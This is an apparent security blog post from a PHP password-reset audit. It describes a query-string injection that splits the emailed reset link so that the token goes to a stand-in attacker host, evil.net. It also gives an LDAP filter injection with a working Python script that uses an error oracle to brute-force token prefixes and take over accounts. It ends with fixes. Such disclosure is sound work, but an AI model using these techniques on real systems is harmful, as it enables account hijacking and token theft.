Two Unusual Injections Related to Password Reset Mails

During a recent source code audit of a PHP application, I identified two slightly unusual injection points. Both of them occurred in the password reset functionality, which in this case allowed a user to request a password reset token be sent to their private email address. In the following, I want to describe how I exploited these injection points. Along the way, we will also encounter two famous problems in elementary stochastics.

The password reset script, which we will assume is called pwreset.php from now on, behaves differently depending on the way it is called. If requested via the GET method without a token parameter, it serves a form with a CAPTCHA that can be used to request a password reset token for a given username. The token is sent to the private email the respective user supplies in their account settings.

The email with the token consists of some explanatory text containing a link that may look as follows, with the token consisting of 64 random characters:

https://example.com/path/to/pwreset.php?&token=gZ6akp95...1tChGQ8

When this link is accessed, the GET parameter token is extracted into a session variable and the user is served a form asking for a username and new password. If the username matches the one stored with the token, the new password is set for that account.

On the server, the link above is generated in the following way:

<?php
// ...
$host = $_SERVER['SERVER_NAME'];
$path = $_SERVER['REQUEST_URI'];
$query = '?&token=' . $token;
$link = $host . $path . $query;
// ...
?>

As is well-documented by now, the HTTP_HOST variable and its cousin SERVER_NAME can often be injected into via the HTTP Host header. Whether this is possible depends on the specific server configuration and can be mitigated by instructing the particular web server to use a canonical server name.

In this particular case, the web server was configured correctly, so I turned my attention to REQUEST_URI, which contains the part of the request immediately following the host, i.e., the path and the query string. Thus, when using the form for requesting a password reset without any tampering, the value would be /path/to/pwreset.php.

I tried to inject various types of characters into both the path and query string: further slashes after the .php, various brackets, spaces, newline and line feed characters, all of those both in clear and URL-encoded form. It quickly became apparent that the web server could not be tricked into executing pwreset.php when supplied with a modified path, so injection was only possible in the query string. Since the email was equipped with an explicit Content-Type: text/plain header, HTML injections were not possible, and neither was it possible to successfully inject a newline or space. So how can we use the injection to trick the user into sending us their password reset token?

We can actually abuse a feature present in many email clients: Potential URLs in plain-text mails, recognized for example by the https:// prefix, are automatically turned into clickable links. Our aim is to break the single link with the token up into two separate links, one starting with https://example.com/path/to/pwreset.php and one ending in the token. By injecting into the query string, we want to add a valid host to the second link and then make it look like the correct link for the user to click onto.

I found that injecting an unencoded angle bracket < suffices to break up a plain-text link in Thunderbird as well as the Gmail web interface and mobile app. Submitting the password reset request form and changing the request URL in transit to read

https://example.com/path/to/pwreset.php?<https://evil.net/log.php?foo=bar

would result in the reset email containing a line of the following kind:

https://example.com/path/to/pwreset.php?<https://evil.net/log.php?foo=bar?&token=gZ6akp95...1tChGQ8

This would render as the following two links in the mail clients, separated by ?<:

https://example.com/path/to/pwreset.php
https://evil.net/log.php?foo=bar?&token=gZ6akp95...1tChGQ8

Clicking on the second link will exfiltrate the token to an attacker-controlled domain since any ? after the first one in a URL will be treated as a literal question mark and thus viewed as part of the value for the foo parameter by the victim’s browser. If the victim’s private email address is known, the unexpected delivery of a password reset mail can potentially be “explained away” by the attacker beforehand. All in all, this is a reasonably promising way to get access to a user’s account.

If there wasn’t a much more effective way to hijack the victim’s account.

LDAP Injection in Password Reset Token Filter

When I continued to read pwreset.php, I noticed that the application stores the password reset token on an LDAP server. For the purpose of this article, it suffices to think of LDAP as a database system that stores entries consisting of lists of plain-text attribute-value pairs in a folder structure. It is then possible to execute search queries (called filters) that retrieve all entries satisfying a specified set of conditions on certain attributes. Assuming that every entry corresponds to a user and there is an attribute user, the following LDAP filter would return all users whose username starts with john:

(user=john*)

It is possible to combine conditions on multiple attributes with logical and, or and not operators, represented by &, | and !, respectively. Since the syntax for LDAP filters is based on the normal Polish notation, logical operators will precede their arguments. As an example, the following filter would return all user entries which are not marked inactive and belong to a user with username ending in doe:

(&(!state=inactive)(user=*doe))

Due to the prefix notation for operators, coupled with the fact that every filter appearing after the first in a search query will be ignored by the LDAP server, LDAP filter injections are limited in their capabilities by the first two characters in the query. Even if we were able to inject an arbitrary username suffix instead of the fixed doe into the query above, we would not be able to change the query type to a logical or, and thus we could only retrieve information on active users. Along the same line, we would not be able to inject further constraints into a simple query like the first one above. More information on the LDAP filter syntax, injection techniques and their limitations can be found in the Black Hat talk “LDAP Injection & Blind LDAP Injection”.

Coming back to the password reset form, we should look at how the pwreset.php script operates when called with a token GET parameter:

  1. Check whether token appears as the attribute pwtoken in a unique LDAP entry; if not, serve an error message.
  2. Request username and new password from the user.
  3. Check whether the unique LDAP entry with password reset token matching token has this username; if so, change the password.

Both checks are carried out via the search filter (pwtoken=$token), where $token is replaced with the value of the GET parameter token. The query is clearly injectable, and the most promising attempt to exploit this is to use the wildcard character * instead of a full-length token. However, since we are limited to a single constraint, we will not be able to guarantee a unique entry in the result set by injecting something like *)(user=thevictim)(.

But actually exploiting this injection point is not much more difficult: We just have to guess unique password token prefixes. Exploitation was helped by the fact that the pwtoken attribute was errouneously set to case-insensitive matches on the server-side, which means that the token alphabet is reduced to 36 characters. Armed with this knowledge, I set up a simple Python script that uses depth-first search to find all unique prefixes of password reset tokens in the database by using the error message shown in step 1 as an oracle:

import requests
import sys

ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789"
MAX_LENGTH = # TBD

def is_unique_prefix(prefix):
   return('Error' not in requests.get('https://example.com/path/to/pwreset.php?token=' + prefix + '*').text)

def dfs(prefix, visited):
    if len(prefix) >= MAX_LENGTH:
        return
    if prefix not in visited:
        visited.append(prefix)
        for c in ALPHABET:
            sys.stdout.write(prefix + c)
            sys.stdout.flush()
            if is_unique_prefix(prefix + c):
                sys.stdout.write(' !!!!!!!!!!!\n')
            else:
                sys.stdout.write('\n')
                dfs(prefix + c, visited)

dfs('', [])

The script assumes that all possible prefixes of length one appear in the database, and then appends all possible other characters until it either finds a unique prefix or reaches a certain maximal length MAX_LENGTH. A stopping criterion is necessary since it may happen that a certain prefix of length one simply does not appear in the database (the expected value of reset tokens necessary for this to not happen is subject of the so-called coupon collector’s problem). The other way round, MAX_LENGTH should not be chosen too low if one is interested in determining all valid password prefixes. This is simply because with a large number of active password resets, collisions in the first MAX_LENGTH characters of the reset could be reasonably likely. This again has some mathematics behind it, which you can read up on under the name birthday problem.

But if the goal is to hijack a particular user’s account, this is not necessary, and the following procedure will succeed very likely:

  1. Run the script above with MAX_LENGTH=2 and record all unique prefixes.
  2. Request a password reset for the victim’s account.
  3. Run the script again with MAX_LENGTH=2 and read off the one (or few, in case there are concurrent password resets) new prefixes.
  4. Request pwreset.php with token set to the prefix followed by a wildcard * character to reset the user’s password.

Even in the unoptimized, sequential form above and running on a single machine, all of this could be carried out within 20 minutes, making this a very practical and dangerous attack.

Conclusion

Both vulnerabilities were easy to fix: For the injection via REQUEST_URI, a new server variable was introduced in the web server config which only contains the valid path to the pwreset.php, not the query string. The second injection could have easily been prevented by using PHP’s own ldap_escape. The take-home lesson, unsurprisingly, is to always sanitize your inputs, even when injecting into “low-powered” contexts such as a plain-text email or a single LDAP filter.

Written on December 19, 2018